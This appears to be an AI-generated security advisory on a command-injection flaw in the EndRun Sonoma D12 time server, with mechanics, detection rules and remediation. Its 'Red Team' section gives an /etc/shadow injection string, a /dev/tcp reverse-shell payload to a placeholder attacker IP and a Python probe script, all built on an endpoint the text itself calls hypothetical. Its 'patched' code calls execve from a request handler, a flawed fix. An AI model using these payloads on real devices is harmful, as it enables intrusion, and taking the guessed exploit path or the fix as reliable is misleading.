CVE-2025-60964

Executive Summary

CVE-2025-60964 is a critical OS Command Injection vulnerability discovered in the EndRun Technologies Sonoma D12 Network Time Server (GPS) running firmware version 6010-0071-000 Ver 4.00. The flaw allows an unauthenticated attacker to inject arbitrary operating system commands through the device's web interface or NTP management functions. Successful exploitation can lead to full device compromise, including arbitrary code execution, denial of service, privilege escalation, and exfiltration of sensitive information. As of this report, no official patch has been released, and no public proof-of-concept code is available. The vulnerability is classified under CWE-78 (Improper Neutralization of Special Elements used in an OS Command).

This device is a critical infrastructure component used for precise time synchronization in sectors such as telecommunications, finance, and energy. Exploitation could disrupt time-sensitive operations and provide a foothold for lateral movement within an OT/ICS network.

Supply Chain & Package Security

This vulnerability does not affect a software package manager (NPM, PyPI, Go, Ruby). It is a firmware-level issue in a hardware appliance. Supply chain risk is limited to the physical device and its firmware update process.

CVSS Breakdown & Threat Level

While a CVSS vector is not provided, based on the description and typical characteristics of OS Command Injection in network appliances, the following assessment is made:

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the only affected entity.
• Confidentiality (C): High (H) – Full system access allows data exfiltration.
• Integrity (I): High (H) – Arbitrary command execution can modify system state.
• Availability (A): High (H) – Denial of service is explicitly mentioned.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. The combination of remote exploitability, no authentication, and full system compromise makes this a high-priority target for threat actors, especially those targeting critical infrastructure.

Deep Dive & Mechanics

The vulnerability resides in the web management interface or NTP configuration endpoints of the Sonoma D12. The device likely fails to sanitize user-supplied input before passing it to a system shell for execution. Common injection points include:

• NTP Server Configuration: Fields like server, peer, or prefer may be passed directly to a command like ntpdate or ntpd.
• Web Interface Parameters: GET/POST parameters used for diagnostics (e.g., ping, traceroute) or firmware updates.
• SNMP or CLI: If accessible, similar injection points may exist.

The injection occurs because the application uses functions like system(), exec(), popen(), or ProcessBuilder with unsanitized input. An attacker can inject command separators such as ;, |, &&, or backticks to execute arbitrary commands.

Example Attack Vector (Hypothetical): If the device has a "Ping Test" feature that takes an IP address and runs ping -c 4 <user_input>, an attacker could input:

127.0.0.1; cat /etc/shadow

This would execute ping -c 4 127.0.0.1 and then cat /etc/shadow.

Vulnerable vs. Patched Code

Since no patch is available, a comparison cannot be made. However, the vulnerable code pattern is:

Vulnerable (Hypothetical C/C++):

void handle_ping(char *ip_address) {
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "ping -c 4 %s", ip_address);
    system(cmd); // Vulnerable: no input validation
}

Patched (Hypothetical C/C++):

void handle_ping(char *ip_address) {
    // Validate IP address format
    if (!is_valid_ip(ip_address)) {
        return error("Invalid IP");
    }
    // Use execve with arguments to avoid shell injection
    char *args[] = {"/bin/ping", "-c", "4", ip_address, NULL};
    execve("/bin/ping", args, NULL);
}

The patched version validates the input format and uses execve instead of system, which does not invoke a shell and thus prevents command injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A Sonoma D12 device on firmware 6010-0071-000 Ver 4.00.
• Network access to the device's management interface (typically port 80/443 or 123 for NTP).

Exploitation Steps (Hypothetical):

1. Reconnaissance: Identify the device via Shodan or Nmap.

   nmap -p 80,443,123 --script ntp-info <target_ip>
   

2. Identify Injection Point: Use a web proxy (Burp Suite) to intercept requests. Look for parameters like ip, host, server, cmd, or diagnostic.

3. Test for Injection: Send a simple test payload.

   POST /diagnostics/ping HTTP/1.1
   Host: <target_ip>
   Content-Type: application/x-www-form-urlencoded
   
   ip=127.0.0.1;echo%20INJECTED
   

4. Confirm Execution: Check if the response contains "INJECTED" or if a reverse shell is established.

5. Reverse Shell Payload:

   # Attacker listener
   nc -lvnp 4444
   
   # Injected command (URL-encoded)
   ip=127.0.0.1;bash -c 'exec bash -i &>/dev/tcp/<attacker_ip>/4444 <&1'
   

Automated Exploit (Python):

import requests

target = "http://<target_ip>/diagnostics/ping"
payload = "127.0.0.1;id"

data = {"ip": payload}
response = requests.post(target, data=data)

if "uid=" in response.text:
    print("[+] Command injection successful")
    print(response.text)
else:
    print("[-] Exploit failed")

Blue Team (Defensive)

Detection & Response:

1. Network Monitoring: Look for unusual characters in HTTP requests to the device, especially semicolons, pipes, and backticks.
2. Log Analysis: Check device logs for unexpected command execution or shell commands.
3. Honeypot: Deploy a fake Sonoma D12 to capture attacker techniques.
4. Segmentation: Isolate the NTP server in a separate VLAN with strict firewall rules.
5. Disable Unused Features: If the web interface is not required, disable it or restrict access to trusted IPs.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests containing shell metacharacters (;, |, &&, `) in parameters.
• Outbound connections from the device to unknown IPs on high ports (e.g., 4444, 1337).
• Unusual NTP traffic (e.g., large packets, unexpected source IPs).

Host IOCs:

• Unexpected processes running on the device (e.g., bash, nc, python).
• Modified system files (e.g., /etc/passwd, /etc/shadow).
• New user accounts or SSH keys.
• Unusual cron jobs or startup scripts.

File IOCs:

• Presence of web shells in the device's web root (e.g., /www/cmd.php).
• Log files containing shell commands.

Detection Engineering

YARA Rule

rule CVE_2025_60964_Command_Injection {
    meta:
        description = "Detects command injection attempts against EndRun Sonoma D12"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-60964"
    strings:
        $cmd1 = /[;&|`]\s*(cat|id|whoami|bash|sh|nc|python|perl|wget|curl)/ nocase
        $cmd2 = /(system|exec|shell_exec|passthru|popen)\(/ nocase
        $cmd3 = "ping -c 4" ascii wide
    condition:
        any of ($cmd1) or ($cmd2 and $cmd3)
}

Sigma Rule

title: CVE-2025-60964 Command Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests containing command injection payloads targeting EndRun Sonoma D12
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - ';'
            - '|'
            - '&&'
            - '`'
        c-uri|contains:
            - 'cat'
            - 'id'
            - 'bash'
            - 'nc'
    condition: selection
falsepositives:
    - Legitimate use of special characters in input fields (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-60964 - EndRun Sonoma D12 Command Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"ip="; http_client_body;
    pcre:"/(?:[;&|`])(?:\s*)(?:cat|id|whoami|bash|sh|nc|python|perl|wget|curl)/i";
    sid:1000001;
    rev:1;
    reference:cve,2025-60964;
    classtype:attempted-admin;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the Device: Place the Sonoma D12 behind a firewall and restrict access to only trusted management IPs.
2. Disable Web Interface: If not required, disable the web management interface via the device's configuration.
3. Monitor Logs: Enable detailed logging and monitor for suspicious activity.
4. Apply Workarounds: If possible, use a reverse proxy (e.g., Nginx) to filter malicious input before it reaches the device.

Long-Term Fix:

• Vendor Patch: Await an official firmware update from EndRun Technologies. Contact their support for an ETA.
• Input Validation: Implement strict input validation and use parameterized commands (e.g., execve instead of system).
• Replace Device: If no patch is forthcoming, consider replacing the device with a patched alternative.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.